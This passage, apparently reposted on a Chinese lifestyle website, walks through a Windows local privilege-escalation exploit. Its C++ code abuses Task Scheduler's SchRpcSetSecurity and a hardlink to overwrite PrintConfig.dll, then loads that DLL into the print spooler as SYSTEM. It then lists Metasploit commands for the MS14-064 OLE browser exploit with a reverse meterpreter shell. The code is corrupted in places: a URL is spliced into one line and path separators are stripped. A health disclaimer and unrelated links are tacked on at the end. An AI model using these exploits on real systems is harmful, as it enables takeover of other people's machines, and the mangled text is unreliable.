prnms003.inf_amd64_4592475aca2acf83Amd64printconfig.dll,然后將C:WindowsTasksUpdateTask.job硬鏈接到這個(gè)dll 。
WIN32_FIND_DATA FindFileData; HANDLE hFind; hFind = FindFirstFile(L”C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64*”, &FindFileData); wchar_t BeginPath[MAX_PATH] = L”c:\windows\system32\DriverStore\FileRepository\”; wchar_tPrinterDriverFolder[MAX_PATH]; wchar_t EndPath[23] = L”\Amd64\PrintConfig.dll”; wmemcpy(PrinterDriverFolder, FindFileData.cFileName, wcslen(FindFileData.cFileName)); FindClose(hFind); wcscat(BeginPath, PrinterDriverFolder); wcscat(BeginPath, EndPath); //Create a hardlink with UpdateTask.job to our target, this is the file the task scheduler will write the DACL of CreateNativeHardlink(L”c:\windows\tasks\UpdateTask.job”, BeginPath);
在調(diào)用SchRpcSetSecurity函數(shù)使普通用戶成功獲取了對(duì)該dll寫入的權(quán)限之后寫入資源文件中的exploit.dll 。
//Must be name of final DLL.. might be better ways to grab the handle HMODULE mod = GetModuleHandle(L”ALPC-TaskSched-LPE”); //Payload is included as a resource, you need to modify this resource accordingly. HRSRC myResource = ::FindResource(mod, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); unsigned int myResourceSize = ::SizeofResource(mod, myResource); HGLOBAL myResourceData = https://www.520longzhigu.com/shenghuo/::LoadResource(mod, myResource); void* pMyBinaryData = ::LockResource(myResourceData); //We try to open the DLL in a loop, it could already be loaded somewhere.. if thats the case, it will throw a sharing violation and we should not continue HANDLE hFile; DWORD dwBytesWritten = 0; do { hFile = CreateFile(BeginPath,GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); WriteFile(hFile,(char*)pMyBinaryData,myResourceSize,&dwBytesWritten,NULL); if (hFile == INVALID_HANDLE_VALUE) { Sleep(5000); } } while (hFile == INVALID_HANDLE_VALUE); CloseHandle(hFile);
printconfig.dll和系統(tǒng)打印相關(guān),并且沒有被print spooler服務(wù)默認(rèn)啟動(dòng) 。所以隨后調(diào)用StartXpsPrintJob開始一個(gè)XPS打印 。
//After writing PrintConfig.dll we start an XpsPrintJob to load the dll into the print spooler service. CoInitialize(nullptr); IXpsOMObjectFactory *xpsFactory = NULL; CoCreateInstance(__uuidof(XpsOMObjectFactory), NULL, CLSCTX_INPROC_SERVER, __uuidof(IXpsOMObjectFactory), reinterpret_cast
(&xpsFactory));
HANDLE completionEvent = CreateEvent(
NULL, TRUE, FALSE,
NULL);
IXpsPrintJob *job =
NULL;
IXpsPrintJobStream *jobStream =
NULL;
StartXpsPrintJob(
L”Microsoft XPS Document Writer”,
L”Print Job 1″,
NULL,
NULL, completionEvent,
NULL,
0, &job, &jobStream,
NULL);
jobStream->Close();
CoUninitialize();
return
0;
整個(gè)漏洞利用程序編譯出來是個(gè)dll,把它注入到notepad中運(yùn)行,發(fā)現(xiàn)spoolsv.exe創(chuàng)建的notepad已經(jīng)具有SYSTEM權(quán)限,而系統(tǒng)中的printconfig.dll也被修改成了資源文件中的exploit.dll 。
防御措施
建議用戶安裝360安全衛(wèi)士等終端防御軟件攔截利用此類漏洞的攻擊,不要打開來源不明的程序 。
四、以實(shí)例講解攻擊者是如何利用系統(tǒng)漏洞發(fā)起攻擊的
利用MS14-064 漏洞測(cè)試入侵win7
Microsoft Windows OLE遠(yuǎn)程代碼執(zhí)行漏洞,OLE(對(duì)象鏈接與嵌入)是一種允許應(yīng)用程序共享數(shù)據(jù)和功能的技術(shù),
遠(yuǎn)程攻擊者利用此漏洞通過構(gòu)造的網(wǎng)站執(zhí)行任意代碼,影響Win95+IE3 – Win10+IE11全版本…
里已經(jīng)加入了此漏洞的利用模塊 :
exploit/windows/browser/ms14_064_ole_code_execution
執(zhí)行命令:
msfconsole //啟動(dòng)MSF
search ms14 //搜索關(guān)鍵字
use
exploit/windows/browser/ms14_064_ole_code_execution // 加載漏洞利用模塊
set payload
windows/meterpreter/reverse_tcp //設(shè)置反彈連接shell
如圖:
需要注意的是箭頭標(biāo)記的屬性默認(rèn)為false 需要設(shè)置為true ,因?yàn)閙sf中自帶的漏洞利用exp調(diào)用的是 powershell,
以上關(guān)于本文的內(nèi)容,僅作參考!溫馨提示:如遇健康、疾病相關(guān)的問題,請(qǐng)您及時(shí)就醫(yī)或請(qǐng)專業(yè)人士給予相關(guān)指導(dǎo)!
「愛刨根生活網(wǎng)」www.malaban59.cn小編還為您精選了以下內(nèi)容,希望對(duì)您有所幫助:- pe優(yōu)盤安裝系統(tǒng) 如何安裝pe系統(tǒng)到U盤
- U盤安裝原版win10系統(tǒng)方法 win10原版鏡像u盤安裝
- svn下載安裝及使用教程 svn客戶端使用教程
- XBOX360游戲手柄推薦 360手柄驅(qū)動(dòng)安裝失敗
- w10系統(tǒng)改xp系統(tǒng)教程 win10環(huán)境安裝xp雙系統(tǒng)
- 移動(dòng)魔百盒怎么安裝app 移動(dòng)魔百盒怎么投屏
- ie卸載不干凈無法重新安裝 ie卸載方法
- 教你eclipse創(chuàng)建java程序 eclips安裝教程
- 兄弟1608加粉清零方法 理光驅(qū)動(dòng)怎么安裝
- 聯(lián)想m100d打印機(jī)驅(qū)動(dòng)使用 如何安裝聯(lián)想打印機(jī)驅(qū)動(dòng)程序
